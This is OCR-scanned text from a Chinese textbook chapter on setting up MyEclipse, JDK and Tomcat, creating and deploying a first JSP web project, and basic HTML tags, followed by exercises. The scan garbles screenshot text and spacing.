国 C\Users\FanAppData\Roaming\MyEclipse 7.0M1\jre\lib\ext\sunpkcs11jar SS 
Le Dem 
[es Daf 
@ Cwm ] [ee | 


图 1-27 更 改 JDK 


@ 在 图 1-27 所 示 的 对 话 框 中 单 击 Directory 按钮 ,选择 JDK 安装 目录 (例如 “C:\ 
Program Files\Java\jdk1. 6. 0_45”) ,结果 如 图 1-28 所 示 。 


JRE Definition 
Speaify attributes for a JRE 


JRE home: CAProgram FilesVava\idk1.6.0.45 [Loirectom | 

JRE pame: JDK6 

Default VM Arguments: 

JRE system libraries: 
曾 C\Program FilesVJava\jdk1.6.0.45\jre\ib\resourcesjar | Add External JARs.. | 
Ci\Program FilesVJava\jdk1.6.0 45\jre\ib\rtjar 一 
画 C\Program FlesVavaVidklL6.0 45WireVibVssejar Javadoc location… 
CNProgram FilesVava\idk1.6.0.45\jreVib\cejar [| 
画 CNprogram FilesJava\jdk1.6.0.45\jre\ib\charsetsjar = 
加 C\Program FilesVava\jdk1.6.0_45\jre\ib\ext\dnsnsjar | Remove 
加 C\Program FilesVava\jdk1.6.0.45\jre\ib\ext\localedatajar Ts 
局 CNprogram FilesVava\dk1.6.0.45\re\ib\ext\sunjce_providerjar Ll 
加 Ci\pProgram FilesJava\idk1.6.0_45\jre\lib\ext\sunmscapijar | Down 
加 CNpProgram FilesVava\idk1.6.0_45\jre\lib\ext\sunpkcslljar 

@ [sw )] Lene | 


1-28 选择 JDK 安装 目录 
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@ 在 图 1-28 所 示 的 对 话 框 中 单 击 Finish 按钮 ,完成 JDK 的 配置 ,然后 单 击 OK 按钮 ， 
关闭 Preferences 对 话 框 。 

@ 接 下 来 配置 服务 器 ,需要 在 MyEclipse 中 配置 自行 安装 的 Tomcat 6. 0。 

选择 菜单 命令 Window | Preferences, 弹出 如 图 1-29 所 示 的 对 话 框 。 选 择 选 项 
MyEclipse Enterprise Workbench| Servers|Tomcat| Tomcat 6.x, 首 先 在 所 弹出 对 话 框 中 单 
击 第 一 个 Browse 按钮 ,选择 Tomcat 6.0 的 安装 目录 (例如 “C:\Program Files\ Apache 
Software Foundation\Tomcat 6.0”) ,然后 将 Tomcat server 设置 为 Enable。 


Preferences 百 | 


type filter text Tomcat 6x vr 


Database Explorer ^ | Tomcat server 
Files and Editors 图 Enable 
Internet Tools @© Disable 
Java Enterprise Pro, 
MatisseAMyEclipse,_| Tomecat home directory: CNProgram Files\Apache Software | | Browse 
Maven4MyEclipse 一 一 一 
Project Capabilities| 中 Tomcat base directory: he Software Foundation\Tomcat 60 | Browse 
ES Design Tomcat temp directory: ware Foundation\Tomcat 6.0\temp |[ Browse 

rvers 

Geronimo Optional program arguments: 

Glassfish 

Integrated Sand| 

JBoss 

Jetty 

JOnAS 

JRun 

Oracle 

Orion 


Resin 
Sun Java System 
Tomcat 


@ Lo jL cone 


1-29 ”Preferences 对 话 框 


@ 展开 Tomcat 6. x, 如 图 1-30 所 示 。 
@ 选择 JDK ,然后 在 右边 选择 MyEclipse 中 绑 定 的 JDK ,如 图 1-31 所 示 。 


ome @ 在 图 1-29 所 示 对 话 框 中 单 击 OK 按钮 完成 安装 ,关闭 
es Preferences 对 话 框 。 
4 [Tomcat 6x)] 至 此 已 成 功 地 在 MyEclipse 7. 0 中 绑 定 了 JDK 和 Tomcat , 选 
ma | 择 工具 栏 上 如 图 1-32 所 示 的 按钮。 
| Pet 在 该 按钮 上 单 击 右边 的 箭头 ,可 以 弹出 服务 器 的 选择 ,选择 命 


1-30 展开 Tomcat 6.x” 令 Tomcat 6.x|Start, 可 以 打开 Tomcat 服务 器 ,如 图 1-33 所 示 。 
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Tomcat JDK name: 


JDKG 7| [add.. 咽 ~ 


图 1-31 配置 服务 器 中 的 JDK 图 1-32 操作 服务 器 按钮 
打开 服务 器 之 后 ,在 浏览 器 的 地 址 栏 中 输入 “http://localhost:8080/index. jsp” 可 以 看 
到 测试 页 面 。 
当然 ,用 户 也 可 以 通过 Stop 命令 停 掉 Tomcat 服务 器 ,如 图 1-34 所 示 。 


上 有 "i 户 | 权 轩 交 ”: 国 " 攻 ” 汶 间 "@ 记 | 友 轩 久 ”: 国 ": 国 ”: 兴 
A MyEdipse Derby » 


风 MyEdlipse Tomcat » 

网 Tomcat 6x » Start 

国 Configure Server EE 
二 Manage Deployments.. en as 


图 1-33 打开 服务 器 1-34 ” 停 掉 服务 器 


1.4 第 一 个 Web 项目 


1.4.1 创建 一 个 Web 项 目 


在 对 B/S 技术 有 了 一 定 的 了 解 ,并 安装 了 服务 器 和 IDE 之 后 ,将 开始 介绍 如 何 开发 
Web 网 站 。 在 Web 网 站 开发 中 首先 要 创建 Web 项 目 ,创建 Web 网 站 所 涉及 的 几 个 步 又 
如 下 。 
@ 创建 Web 项 目 , 建 立 基本 结构 。 

@ 设计 Web 项 目的 目录 结构 ,将 网 站 中 的 各 个 文件 分 门 别 类 。 
@ 编写 Web 项 目的 代码 ,编写 网 页 。 

@ 部 署 Web 项 目 , 在 服务 器 中 运行 该 项 目 。 

在 MyEclipse 中 创建 Web 项 目 共 涉及 以 下 两 个 步骤 。 

Q@ 选择 菜单 命令 File| New| Web Project, 如 图 1-35 所 示 。 


Edit Navigate Search Project MyEcipse Run Window Help 
New Al+Shit+N » | (可 Java Project 


Open File 畏 Report Web Project (Optional Maven Support) 

eR Coliw | 葡 EJB Project (Optional Maven Support) 

Close All Cul+Shit+W | 鲜 Enterprise Application Project Po 
前 ”web Project (Optional Maven Support) 

Save Cilts | Web Sevice Project (Optional Maven Support) 

Save As.. ee 

Ca All Corlichifie 


图 1-35 选择 Web Project 命令 
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@ 在 弹出 的 对 话 框 中 给 新 项 目 取 名 ,此 处 取 名 为 Prj01 ,在 J2EE Specification Level 中 
选取 Java EE 5. 0, 其 余 选 项 可 以 使 用 默认 设置 。 注 意 ,Context root URL 的 默认 值 为 
“/Prj01”, 不 要 修改 。 单 击 Finish 按钮 ,完成 新 项 目的 创建 ,如 图 1-36 所 示 。 

wb ro IE 


Create a Web Project 
Create a web project in the workspace or an external location 


Web Project Detail 
Project Name: Prjol 
Location: Use default location 


Directory: |CAUsers\Fan\workspace\PrOL 


Source folder: src 

Web root folder WebRoot 

Context root URL /Prjol 

J2EE Specification Level 

@JavaEE50 OJEE14 ©J2EE13 
Maven 

回 Add Maven support 

Learn more about MavenAMyE clipse.. 


JSTL Support 
Dadd JSTL llbraries to WEB-INF/ib folder? 


图 1-36 创建 Web 项 目 


现在 能 够 在 MyEclipse 的 Package Explorer 中 看 到 刚才 新 建 的 Web 项 目 , 如 图 1-37 
所 示 。 
问答 
问 : 如 果 Package Explorer 被 关 掉 怎么 办 ? 

答 : 在 MyEclipse 中 ,针对 每 一 类 项 目 开发 具有 相应 的 界面 风格 。 如 果 不 小 心 将 界面 
中 的 某 个 窗口 关闭 ,最 简单 的 方法 就 是 进行 重 置 ,选择 菜单 命令 Window | Reset Perspective 
即 可 ,如 图 1-38 所 示 。 


» BM JRE System Library UDK6] 
» Bh Java EE 5 Libraries 
b BE WebRoot Preferences 


图 1-37 新 建 的 Web 项 目 图 1-38 重 置 界 面 
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1.4.2 目录 结构 


Web 项 目 要 求 按 特定 的 目录 结构 组 织 文 件 , 当 在 MyEclipse 中 创建 完 新 的 Web 项 目 
后 ,就 可 以 在 MyEclipse 的 Package Explorer 中 看 到 该 Web 项 目的 目录 结构 , 它 由 
MyEclipse 自动 生成 ,如 图 1-39 所 示 。 

下 面 逐 个 了 解 该 目录 或 者 文件 的 用 途 。 ,区 mo 

(1) src 目录 : 它 用 来 存放 Java 源 文件 。 We 


》 mA JRE System Library UDK6] 


(2) WebRoot 目录 : 它 是 该 Web 应 用 的 顶层 目录 ,也 称 为 bh jove EE Ubrarios 


文档 根 目 录 , 由 以 下 部 分 组 成 。 2 
Q@ 两 个 重要 目录 (不 要 随意 修改 或 者 删除 ) ,具体 如 下 。 4 BS WEB-INF 
。 META-INF 目录 : 系统 自动 生成 ,存放 系统 描述 信息 ， a 

一 般 情 况 下 使 用 较 少 。 团 indexjsp 


。 WEB-INF 目录 : 该 目录 存在 于 文档 根 目 录 下 ,但 是 该 1-39 目录 结构 
目录 不 能 被 引用 ,也 就 是 说 该 目录 下 存放 的 文件 无 法 对 
外 发 布 , 当 然 无 法 被 用 户 访问 到 了 。WEB-INF 目录 由 以 下 几 部 分 组 成 。 
lib 目录 : 其 包含 Web 应 用 所 需 的 .jar 或 者 . zip 文件 ,例如 SQL Server 数据 库 的 
驱动 程序 。 
web. xml: Web 应 用 的 配置 文件 ,非常 重要 ,不 能 删除 或 者 随意 修改 。 
classes 目录 : 在 MyEclipse 中 没有 显示 出 来 ,里 面包 含 的 是 src 目录 下 Java 源 文 
件 所 编译 成 的 . class 文件 。 
@ 其 他 目录 : 主要 是 网 站 中 的 一 些 用 户 文件 ,包括 下 列 文件 。 
。 静态 文件 : 包括 所 有 的 HTML 网 页 .CSS 文件 .图 像 文件 等 , 按 功能 以 文件 夹 形式 
分 类 ,例如 图 像 文件 一 般 集 中 存储 在 images 目录 中 。 
。JSP 文 件 : 利用 JSP 可 以 很 方便 地 在 页 面 中 生成 动态 的 内 容 , 使 Web 应 用 可 以 输出 
多 姿 多 彩 的 动态 页 面 。 比 如 ,系统 生成 项 目 时 默认 生成 了 index. jsp 文件 。 
在 了 解 了 文件 存放 的 目录 之 后 ,可 以 开始 动手 实现 静态 网 页 ,并 观察 效果 ,具体 操作 步 
又 如 下 。 
@ 在 WebRoot 下 创建 目录 images( 注 意 ,名称 可 以 任意 取 ) ,里面 放置 一 幅 图 片 , 名 为 
flower. jpg。 首 先 右 击 WebRoot, 在 弹出 的 快捷 菜单 中 选择 命令 New|Folder, 如 图 1-40 所 示 。 


| 


下 


v 


v 


EJB Project (Optional Maven Support) 
Enterprise Application Project 

Web Project (Optional Maven Support) 

Web Service Project (Optional Maven Support) 
Java Project 

Report Web Project (Optional Maven Support) 
Project... 

Package 

Class 

Interface 


Source pe 
Folder 


图 1-40 选择 Folder 命令 


New » 
Go Into 


Open in New Window 
Show In At+Shift+W 上 


[和 
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@ 弹出 New Folder 对 话 框 ,在 Folder name 文本 框 中 输入 “images”, 如 图 1-41 所 示 。 


Folder 


Create a new folder resource. 


Enter or select the parent folder: 
priol/WebRoot 


丛 宁 补 
贸 pnol 
BE .myeclipse 
BB .settings 
Bsrc 
EE WebRoot 


图 1-41 创建 目录 
@ 单 击 Finish 按钮 ,然后 将 图 片 文件 flower. jpg 复制 到 “于 
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images 目录 中 ,结构 如 图 1-42 所 示 。 eh ra 
经 验 : 可 以 把 HTML 文件 组 织 成 文件 夹 ,分 类 放 入 文档 。 “外 webRoot 
根 目录 中 ,这 样 做 有 助 于 维护 和 管理 。 比 如 把 HTML 文件 按 ‘i 
功能 放 在 music、book 等 文件 夹 下 ,分 门 别 类 。 a 
@ 双击 index.jsp, 打 开 其 代码 编辑 器 ,将 index. jsp 代码 Windexjsp 
改 为 如 下 内 容 。 图 1-42 复制 图 片 


<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
<!DOCTYPE HTML PUBLIC " - //W3C//DTD HTML 4. 01 Transitional//EN"> 
<html > 

<body> 

< img src = "images/flower. jpg"><br> 
欢迎 您 来 到 本 系统 . <br> 

</body> 

</html > 


这 样 JSP 页 面 就 自动 生成 了 ,当然 页 面 内 容 要 用 户 自行 编写 HTML 代码 。 
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| 


1.4.3 部署 


在 页 面 编写 完成 之 后 ,必须 要 将 整个 项 目 放 到 服务 器 中 去 运行 ,这 叫 部 署 Web 项 目 , 具 
体操 作 步 骤 如 下 。 

@ 单 击 MyEclipse 工具 栏 上 的 部 署 按钮 ,如 图 1-43 所 示 。 所 + 

@ 在 弹出 的 Project Deployments 对 话 框 中 选择 要 部 署 的 项 目 ”图 1-43 部 署 按钮 
(此 处 选择 Prj01) ,接着 单 击 Add 按钮 ,如 图 1-44 所 示 。 该 图 中 的 
Remove 按钮 代表 解除 部 署 (从 服务 器 中 删除 ),Redeploy 按钮 代表 更 新 部 署 。 


Manage Deployments | 
Deploy and undeploy J2EE projects. | 


ee | ; 


1-44 ”Project Deployments 对 话 框 


@ 在 弹出 的 New Deployment 对 话 框 中 选择 Server 为 Tomcat 6.x, 然 后 单 击 Finish 按 
钮 ,如 图 1-45 所 示 。 


New Deployment 
Create new project deployment for PrjO1 


| web Project piol 
Server: 


Edit server connectors.. 
Deploy type: ® Exploded Archive (development mode) © Packaged Archive (production mode) 


Deploy Location: C:\Program Files\Apache Software Foundation\Tomcat 6.0\webapps\PrjO1 


图 1-45 New Deployment 对 话 框 


@ 此 时 系统 会 在 第 一 个 弹出 的 对 话 框 中 提示 部 署 成 功 的 消息 , 单 击 OK 按钮 ,关闭 该 
对 话 框 。 

至 此 Prj01 项 目的 部 署 任 务 已 经 圆满 完成 , 接 下 来 可 以 运行 该 Web 项目 了 。 

QO@ 运行 Tomcat 6.x 服务 器 (前 面 已 经 叙述 过 )。 
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@ 开启 IE 窗口 ,输入 URL 为 “http://localhost:8080/Prj01/index. jsp”, 按 Enter 键 
并 观察 运行 结果 ,如 图 1-46 所 示 。 


EE htpy/localhost8080/pji0Uindexjsp - Windows Intemet Explorer a 

(IOM ERT -|8lo|x‖P amo ER 

| 安国 htpy/iocalhost8080/Piol/indexjsp [| | :全 " 自 "口中 7 电 9 次" @; 
| 

欢迎 您 来 到 本 系统 . - 

完成 国 Internet | 保护 模式 : 启用 租 v” 臣 100%6 ~ 


图 1-46 index.jsp 页 面 


问答 

问 : 什么 是 URL? 

答 : URL 是 Uniform Resource Locator 的 缩写 , 译 为 “统一 资源 定位 符 ”, 也 就 是 人 们 通 
常 所 说 的 网 址 。URL 是 唯一 能 够 识别 Internet 上 具体 计算 机 、 目 录 或 文件 位 置 的 命名 
约定 。 

URL 的 格式 由 下 列 3 个 部 分 组 成 。 

第 一 部 分 是 协议 ,例如 http。 

第 二 部 分 是 主机 IP 地 址 (有 时 也 包括 端口 号 ) ,例如 “localhost:8080”。 注 意 ,localhost 
也 可 以 用 127. 0.0. 1 或 者 主机 IP 地 址 代替 。 

第 三 部 分 是 主机 资源 的 具体 地 址 ,例如 目录 和 文件 名 等 。 

第 一 部 分 和 第 二 部 分 用 “://” 符 号 隔 开 ,第 


“4 国 webapps | 二 部 分 和 第 三 部 分 用 “/” 符 号 隔 开 。 其 中 ,第 一 
i 加 doc 部 分 和 第 二 部 分 是 不 可 缺少 的 ,第 三 部 分 有 时 
,Pin -ee 可 以 省 略 。 

Bh imoges L 问 , 该 项 目 放 在 服务 器 的 哪个 地 方 ? 

ee 答 : 服务 器 用 的 是 Tomeat 6.x, 因 此 项 目 
cocses 肯定 是 放 在 Tomcat 安装 目录 下 了 。 找 到 
昌 ib 


Tomcat 6.x 安装 目录 “C:\Program Files\ 
Apache Software Foundation\Tomcat 6.0”, 用 
4 户 将 看 到 webapps 文件 夹 ,打开 该 文件 夹 ,其 目 
录 结 构 如 图 1-47 所 示 。 
显然 ,Prj01 被 放 在 了 webapps 文件 夹 下 ,里 面 的 结构 和 项 目 中 的 WebRoot 结构 相同 。 


1.4.4 常见 错误 


在 开发 Web 程序 时 会 不 可 避免 地 犯 一 些 错误 ,下 面 将 通过 观察 这 些 错误 出 现 的 现象 学 
习 排 查 错误 的 方法 ,进而 排除 这 些 错 误 。 


» ROOT 
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1. 未 启动 Tomcat 

错误 现象 : 如 果 没 有 启动 Tomcat 或 者 没有 正常 启动 Tomcat 就 打开 浏览 器 访问 网 页 ， 
那么 当 运 行 Web 项 目 时 将 在 正 浏览 器 中 提示 “Internet Explorer 无 法 显示 该 网 页 ”, 如 
图 1-48 所 示 。 


EG Intemet Explorer 3 示 该 网 页 - Internet Explorer 瑟 
OW [@ r/ocahosts0s0/Piolinderjsp =| |x ||P aing pr 
帘 | 国 Internet Explorer 无 去 旺 示 该 网 页 | ji 合 " 目 " 口 壳 7 四” 外 7 委 * @” 


¢y Internet Explorer 无 法 显示 该 网 页 


您 可 以 尝试 以 下 操作 : 


完成 人 Internet | 保护 模式 :启用 往 7 由 100% ~ 
图 1-48 常见 错误 1 


排 错 方法 : 检查 Tomcat 服务 能 否 正 确 运 行 。 在 IE 浏览 器 中 输入 “http://localhost: 
8080”, 如果 Tomcat 正确 启动 了 ,将 在 IE 中 显示 Tomcat 服务 的 首页 ,否则 将 在 IE 浏览 器 
中 提示 “Internet Explorer 无 法 显示 该 网 页 ”。 

2. 未 部 署 Web 应 用 就 访问 

错误 现象 : 如 果 已 经 启动 了 Tomcat 但 是 尚未 部 署 Web 应 用 就 访问 网 页 ,那么 当 运 行 
Web 项 目 时 将 在 IE 浏览 器 中 提示 404 错误 ,如 图 1-49 所 示 。 


INHTTP Status 404 - /Prj01/index.jsp 


川 WE status report 
TESTE /Prol/index jsp 


The requested resource is not avaiable. 


1-49 常见 错误 2 


排 错 方法 : 部 署 项 目 。 

3. URL 输入 错误 

错误 现象 : 如 果 已 经 启动 了 Tomcat, 也 已 经 部 署 了 Web 应 用 ,在 运行 Web 项 目 时 输 
人 “http://localhost: 8080/prj01/index. jsp”, 在 IE 浏览 器 中 提示 404 错误 ,如 图 1-50 
所 示 。 
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EE Apache Tomcat/6.0.45 - Error report - Windows Internet Explorer = 
OO 国 mapwmochostaosopioyindeujsp ~[B| | x) sng ER 
帘 | 国 Apache Tomcat/6.0.45 - Error report [| A "B00 


HTTP Status 404 - /prj01/index.jsp 


WE status report 


/Lpriol/index.jsp 


The requested resource is not avaiable. 


完成 人 @ Internet | 保护 模式 : 启用 级” 所 100% > 


图 1-50 常见 错误 3 


排 错 方法 : 检查 URL。 首 先 查看 URL 的 前 两 部 分 ( 即 协议 与 IP 地 址 、 端 口号 ) 是 否 书 
写 正确 ,然后 检查 文件 名 称 是 否 书写 正确 。 注 意 ,URL 的 大 小 写 是 敏感 的 。 


1.5 本 章 小 结 


本 章 讲解 了 Web 站 点 的 基本 原理 以 及 相关 环境 的 配置 ,为 Web 项 目的 开发 打下 良好 
的 基础 。 


1.6 课 后 习题 


一 、 填空 题 

1. 在 网 络 应 用 程序 中 有 两 种 基本 的 结构 , 即 和 

2. Web 项 目 属 于 结构 。 

3. 在 Web 程序 结构 中 ,浏览 器 端 与 应 用 服务 器 端 采 用 模式 进行 交互 。 

4. 在 应 用 程序 领域 ,Web 是 的 简称 。 

5. Tomcat 服务 器 运行 的 端口 号 默认 为 

6. Tomcat 安装 目录 中 webapps 文件 夹 里 的 内 容 是 对 

7. IDE 是 帮助 用 户 进行 快速 开发 的 软件 , 它 的 中 文 全 称 为 i 

8. 在 Web 项 目的 目录 结构 中 ， 目录 用 来 存放 Java 源 文 件 。 

9. 一 台 Tomcat 服务 器 的 IP 地 址 为 110. 74. 22. 15、 网 站 端口 号 为 8080, 则 访问 Web 


项 目 Demo 中 的 test. jsp 的 URL 为 
二 、 选 择 题 
1. 在 Web 程序 结构 中 ,浏览 器 端 与 应 用 服务 器 端 采用 请 求 / 响 应 模式 进行 交互 的 过 程 
为 ( is 
Q@ 用 户 输入 @ 访问 数据 库 @ 发 送 响应 @ 发 送 请 求 
@ 返回 结果 @ 显示 
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A. DOOOOO B. OOO@OO 
C. OO@OOOOO D. GOOOOO 
2. 下 列 说 法 正确 的 是 ( is 
A. 在 B/S 结构 中 ,如 果 应 用 软件 发 生 了 改变 ,就 必须 通知 所 有 的 客户 端 重新 安装 
B. 在 C/S 结构 中 ,即使 应 用 软件 发 生 了 改变 ,也 不 用 通知 客户 机 升级 该 软件 
C. 在 C/S 结构 中 ,客户 机 上 不 需要 安装 应 用 软件 ,只 需要 使 用 浏览 器 即 可 
D. B/S 结构 相 较 于 C/S 结构 服务 器 负担 比较 重 , 快 速 响应 不 如 C/S 结构 
3. Tomcat 安装 目录 中 bin 文件 夹 下 存放 的 文件 为 ( Ns 


A. 系统 日 志文 件 B. Tomcat 系统 的 一 些 配置 文件 

C. 网 站 资源 文件 D. 支持 Tomcat 运行 的 常见 . exe 文件 
4. JSP 的 全 称 为 ( )。 

A. Java Script Pages B. Java Script Page 

C. Java Server Pages D. Java Server Page 


5. 下 面 关 于 JSP 的 说 法 错误 的 是 ( Ne 
A. JSP 是 由 Sun 公司 提出 的 ,其 他 许多 公司 一 起 参与 建立 的 一 种 动态 网 页 技术 
标准 
B. JSP 开发 的 Web 应 用 不 能 跨 平台 
C. JSP 具备 了 Java 技术 面向 对 象 .与 平台 无 关 性 且 安全 可 靠 的 优点 
D. 利用 JSP 可 以 很 方便 地 在 页 面 中 生成 动态 的 内 容 
6. 在 下 列 选项 中 ,正确 的 URL 是 (  )。 
A. http:\\localhost:8080\Prj0l\index. jsp 
B. http://localhost:8080/Prj01/index. jsp 
C. localhost:8080/Prj01/index. jsp 
D. localhost:8080\Prj0l1\index. jsp 
7. 下 面 关 于 URL 的 说 法 错误 的 是 ( ,ss 
A. URL 的 全 称 为 “统一 资源 定位 符 ” B. URL 的 大 小 写 是 敏感 的 
C. URL 的 第 二 部 分 是 主机 的 IP 地址 。” D. URL 的 第 二 部 分 是 协议 
8. 关于 Web 项 目的 目录 结构 ,下 面 说 法 错误 的 是 ( ia 
A. web. xml 是 Web 应 用 的 配置 文件 ,可 以 随意 修改 
B. lib 文件 夹 里 包含 了 Web 应 用 所 需 的 . jar 和 . zip 文件 
C. META-INF 是 系统 自动 生成 .用 于 存放 系统 描述 信息 的 文件 夹 
D. WebRoot 目录 是 Web 应 用 的 顶层 目录 ,也 称 为 文档 的 根 目录 
三 、 上 机 习题 
1. 安装 JDK .Tomcat ,进行 测试 。 
2. 修改 Tomcat 端口 为 8976 ,重新 进行 测试 。 
3. 安装 MyEclipse, 绑 定 JDK 和 Tomcat, 建 立 站 点 ,并 测试 。 
4. 在 站 点 内 编写 一 个 简单 的 网 页 ,在 服务 器 中 运行 ,在 本 机 上 访问 ,然后 用 另 一 台 计 算 
机 访问 。 


HTML 基础 


建议 学 时 : 2 

-个 网 站 由 许 许多 多 的 网 页 组 成 ,通过 地 址 向 服务 器 发 出 请 求 后 接收 到 可 以 被 浏览 器 
运行 解释 的 文件 ,并 由 浏览 器 显示 出 来 。 网 页 上 有 各 种 各 样 的 元 素 ,例如 文字 .图片 、 链 接 
等 ,它们 都 是 通过 HTML 等 语言 进行 表达 的 。 本 章 讲解 如 何 使 用 HTML 语言 编写 出 简单 
的 静态 网 页 ,涉及 HTML 文档 的 基本 结构 和 HTML 中 的 常用 标签 ,以 及 静态 网 页 制作 过 
程 中 的 一 些 技 巧 。 


2.1 静态 网 页 制作 


2.1.1 HTML 简介 


HTML(HyperText Mark-up Language, 超 文本 标记 语言 ) 是 构成 网 页 文档 的 主要 语 
言 。 一 般 情况 下 ,用 户 在 网 页 上 看 到 的 文字 、 图 形 、 动 画 、 声 音 、 表 格 ,链接 等 元 素 大 部 分 都 是 
由 HTML 请 言 描述 的 。 

HTML 语言 的 基本 组 成 部 分 是 各 种 标签 ,一 张 生动 的 网 页 往往 含有 大 量 的 标签 。 使 用 
标签 实际 上 就 是 采用 一 系列 指令 符号 来 控制 输出 的 效果 ,例如 < br > 是 最 常用 的 控制 格式 的 
标签 , 它 表 示 在 网 页 上 换行 。 

HTML 有 两 种 类 型 的 标签 : 一 种 是 单 标签 "< br >” 就 是 一 种 单 标签 , 它 只 需要 单独 一 
组 符号 就 可 以 表示 完整 的 功能 ; 另 一 种 是 双 标 签 , 形 如 "< b> 内 容 </b >”, 表 示 将 "内容" 显 
示 为 粗 体 ,这 种 标签 所 围绕 的 内 容 就 是 标签 作用 的 作用 域 。 

标签 还 有 属性 ,例如 “< a href = page. html/>”, 其 中 的 “href” 就 是 一 个 属性 名 称 ， 
“page. html” 是 属性 值 。 

以 HTML 编写 成 的 文本 文件 的 扩展 名 为 . html, 另 外 ,版 本 较 老 的 . htm 扩展 名 也 是 被 
支持 的 ,它们 的 意义 相同 。 

HTML 语言 对 大 小 写 不 敏感 ,比如 马上 将 要 学 习 的 表示 HTML 文档 的 标签 < html > 
</html > 也 可 以 写 做 < HTML ></ HTML >, 甚 至 可 以 写 为 < HtmL ></htMl >, 但 是 推荐 自 始 
至 终 使 用 同一 种 书写 方式 。 

用 户 可 以 使 用 所 有 的 文本 编辑 器 对 HTML 文件 进行 编辑 , 较 常 见 的 所 见 即 所 得 的 网 
页 制作 软件 有 FrontPage 和 Dreamweaver 等 。 


2.1.2 HTML 文档 的 基本 结构 
HTML 文档 的 基本 结构 如 下 。 
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</body> 
</html > 


< head ></head > 之 间 的 内 容 是 用 来 设置 一 些 网 页 相关 属性 和 信息 的 ,比如 网 页 的 标题 、 
缓存 等 ,可 以 省 略 。< body ></body > 之 间 的 内 容 为 浏览 器 中 网 页 上 显示 的 内 容 。 
下 面 来 看 一 个 简单 的 网 页 ,文件 名 为 firstPage. html。 


firstPage. html 


<! -- 这 是 一 行 注 释 --> 
< html > 
<head> 
<title> 这 是 网 页 标题 (文件 头 部 分 )</title> 
</head> 
<body> 
这 是 网 页 的 内 容 部 分 ,在 浏览 器 窗口 显示 (文件 体 部 分 ) 
</body> 
</html > 


使 用 浏览 器 打开 (直接 双击 文件 ) , 它 的 显示 结果 如 图 2-1 所 示 。 


这 是 网 页 的 内 容 部 分 ， 在 浏览 器 窗口 显示 (文件 体 部 分 ) 
天 计算 机 | 保护 模式 : 禁用 往 7 由 100% -~ 


2-1 文档 显示 效果 


可 以 看 到 ,< title ></title > 之 间 的 内 容 显示 在 浏览 器 的 标题 部 分 。<!- -内 容 - ~> 在 
HTML 中 表示 注释 ,其 中 的 内 容 不 会 被 浏览 器 显示 出 来 ,并 且 它 可 以 写 在 代码 中 的 任意 部 
位 。< body ></body > 之 间 的 内 容 在 浏览 器 窗口 上 显示 出 来 ,所 以 网 页 的 主体 内 容 都 将 在 
此 标签 内 进行 编写 。 当 然 , 这 些 标签 有 很 多 可 以 设置 不 同 的 属性 ,以 输出 不 同 的 效果 ,这 些 
内 容 都 会 在 后 续 的 章节 中 进行 讲解 。 


2.2 HTML 中 的 常见 标签 


2.2.1 文字 布局 及 字体 标签 
在 本 节 中 将 具体 学 习 HTML 中 涉及 的 文字 布局 和 字体 标签 。 
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1. 标题 .换行 和 段落 标签 
在 HTML 中 标题 的 一 般 形式 如 下 。 


<hn> 内 容 </hn> 


在 HTML 中 提供 了 6 个 等 级 的 标题 , 即 可 取 1~6,n 越 小 ,标题 字号 越 大 。 代 码 如 下 。 


hn. html 


<html> 
<body> 
<hl > 这 是 标题 一 </hl > 
< h2 > 这 是 标题 二 </h2 > 
<h6 > 这 是 标题 三 </h6 > 
</body> 
</html > 


浏览 器 显示 如 图 2-2 所 示 。 
< br > 是 换行 标签 ,在 需要 换行 的 地 方 加 上 此 标签 即 可 。 下 列 文件 br. html 展示 了 
< br> 的 应 用 。 


br. html 


<html> 
<body> 
远 上 寒山 石 径 斜 <br > 白云 深 处 有 人 家 < br > 
停车 坐 爱 枫 林 晚 < br > 霜 叶 红 于 二 月 花 
</body> 
</html > 


浏览 器 显示 如 图 2-3 所 示 。 


这 是 标题 一 


远 上 寒山 石 径 斜 
| 示 题 二 白云 深 处 有 人 家 
这 是 标题 停 宇 具 受挫 条 史 
这 是 标 直 三 霜 叶 红 于 二 月 花 
图 2-2 标题 显示 效果 图 2-3 换行 显示 效果 


注意 : 在 源 文件 中 换行 ,网 页 上 不 换行 。 在 源 代码 中 ,文字 之 间 换 行 和 多 于 一 个 的 空格 
将 会 被 一 个 空格 代替 ,要 换行 时 必须 用 < br >。 

<p > 为 段落 标签 ,一 个 段落 开始 由 < p > 来 标记 ,结束 用 </p > 表示 。< p > 有 一 个 常用 属 
性 align, 它 用 来 指明 内 容 显 示 时 的 对 齐 方式 , 较 常 用 的 有 left .center 和 right ,分 别 表示 左 
对 齐 、 居 中 对 齐 和 右 对 齐 。 下 面 p. html 文件 的 代码 为 段落 标签 的 应 用 。 


Pp: html 


<html> 
<body> 


<p align= "left"> 杜 牧 , 晚 唐 著 名 诗人 </p> 
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<p align = "center"> 杜 牧 , 晚 唐 著名 诗人 </p> 
<p align = "right"> 杜 牧 , 晚 唐 著 名 诗人 </p> 
</body> 
</html > 


打开 此 网 页 ,浏览 器 显示 如 图 2-4 所 示 。 
杜牧 ， 晚 唐 著 名 诗人 
杜牧 ， 晚 唐 著 名 诗人 
杜牧 ， 晚 唐 著 名 诗人 
图 2-4 段落 显示 效果 


< hr > 是 水 平 线 标签 ,此 标签 较为 常用 的 属性 如 下 。 

。 size: 水 平 线 的 宽度 ,单位 为 像素 。 

。 width: 水 平 线 的 长 ,如果 不 设置 , 则 默认 为 页 面 长 度 , 其 单位 默认 为 像素 ; 但 也 可 以 
使 用 百分制 ,例如 width=50% 表 示 长 度 为 页 面 长 度 的 50%。 

。 align: 水 平 线 的 对 齐 方 式 ,常用 的 有 left、center 和 right。 

。 noshade: 线段 无 阴影 属性 ,没有 属性 值 。 若 设置 , 则 线段 为 实心 线段 。 

。 color: 线段 内 部 的 颜色 。 

下 面 的 hr. html 文件 是 一 个 水 平 线 标签 的 例子 。 


hr. html 


< html > 
<body> 
<hr> 
<hr align = "center"size= "30"> 
< hr align = "center" noshade size= "30"> 
<hr align = "center" noshade width= "50% "size= "10"> 
< hr align = "center" width= "100" size= "10" color =" 井 CC0000"> 
<hr align = "center" width= "200" size= "50" color = "#00FFFF"> 
<hr align = "center" width= "200" size= "50" color = "#AAOOFF"> 
</body > 
</html > 


打开 hr. html 网 页 ,浏览 器 显示 如 图 2-5 所 示 。 


2-5 水 平 线 显 示 效 果 
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注意 : 在 HTML 中 颜色 通常 用 名 称 表示 ,例如 “red” 表 示 红 色 ; 或 者 用 "“ 井 RRGGBB” 表 


